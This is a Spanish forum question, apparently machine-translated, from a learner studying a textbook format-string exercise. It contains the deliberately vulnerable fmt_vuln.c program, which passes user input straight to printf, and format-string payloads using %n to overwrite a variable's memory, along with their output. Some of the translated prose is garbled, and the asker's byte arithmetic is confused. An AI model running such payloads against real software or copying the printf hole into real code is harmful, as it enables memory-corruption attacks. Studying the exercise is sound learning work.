"Hackear el Arte de la Explotación" - inconsistencia en el tamaño del exploit del formato

0

fmt_vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char *argv[]) {
   char text[1024];
   static char buffer[1000] = {"yellow"};
   static int test_val = -72;
   static char buffer2[20000] = {"blue"};   
   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val,     test_val);

   exit(0);
}

Estoy aprendiendo un exploit con este programa en el que el método printf escrito incorrectamente se puede usar para escribir bytes en direcciones arbitrarias. El siguiente resultado es un ejemplo que creo que entiendo, dado que la cantidad de caracteres en la dirección impresa suma 16 sumados a los 14 bytes de la cadena "% x% x $ 8x", lo que da 28.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
??%x%x%8x%n
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc        0
[*] test_val @ 0x08049794 = 28 0x0000001c

Sin embargo, en el siguiente ejemplo, se agrega JUNK entre cada dirección para que se recuperen los parámetros de formato% x permitiendo que las direcciones se escriban con los parámetros de formato% n que no puedo conciliar con la salida.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%8x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
[*] test_val @ 0x08049794 = 52 0x00000034

¿Cómo puede la salida ser decimal 52? cuando agrego la cadena inicial \x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08 JUNK \x97\x97\x04\x08 obtengo 76 bytes, el siguiente %x%x%8x que constituye 12 bytes se agregaría a la cadena inicial para formar 88 bytes, por lo que estoy confundido sobre cómo se llega a 52.

Gracias

    
pregunta nrmad 28.09.2018 - 15:45
fuente

0 respuestas

Lea otras preguntas en las etiquetas